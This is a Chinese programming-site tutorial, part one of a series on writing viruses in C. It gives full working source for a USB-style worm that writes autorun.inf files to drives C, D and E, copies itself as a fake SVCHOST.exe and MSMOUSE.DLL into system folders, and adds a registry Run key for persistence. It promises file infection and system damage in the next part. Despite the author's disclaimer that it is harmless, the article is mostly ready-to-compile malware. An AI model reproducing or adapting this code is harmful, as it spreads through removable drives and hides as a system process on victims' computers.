用C语言写病毒1

  • 来源: 编程中国 作者: 若水   2008-05-07/14:38
  • 可以在技术范围及法律范围内扩充实验.
    在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.

    连载1——最基本的病毒.
    本病毒的功能:
    1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
    2.在C、D、E盘中生成自动运行文件
    3.注册c:\windows\system\svchost.exe,使其开机自动运行
    4.在C:\windows\system下生成隐蔽DLL文件
    5.病毒在执行后具有相联复制能力

    本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。

    以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
    请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究


    /* SVCHOST.C   */
    /* SVCHOST.EXE */

    #define SVCHOST_NUM 6
    #include<stdio.h>
    #include<string.h>
    char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
    char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
    char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
    "c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
    "c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
    char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

    int copy(char *infile,char *outfile)
    {
        FILE *input,*output;
        char temp;
        if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

    (outfile,"wb"))!=NULL))
        {
          while(!feof(input))
          {
            fread(&temp,1,1,input);
            fwrite(&temp,1,1,output);
          }
          fclose(input);
          fclose(output);
          return 0;
        }
        else return 1;
    }
    int main(void)
    {
        FILE *input,*output;
        int i,k;
        for(i=0;i<3;i++)
        {
          output=fopen(files_autorun[i],"w");
          fprintf(output,"%s",autorun);
          fclose(output);
        }
        for(i=0;i<=SVCHOST_NUM;i++)
        {
          if((input=fopen(files_svchost[i],"rb"))!=NULL)
          {
            fclose(input);
            for(k=0;k<SVCHOST_NUM;k++)
            {
              copy(files_svchost[i],files_svchost[k]);
            }
            i=SVCHOST_NUM+1;
          }
        }
        system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
        return 0;
    }

    在连载2中你将看到:
    病毒对系统文件破坏的方法,病毒对文件的感染,病毒生成垃圾文件,病毒更具隐蔽性的方法。


    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多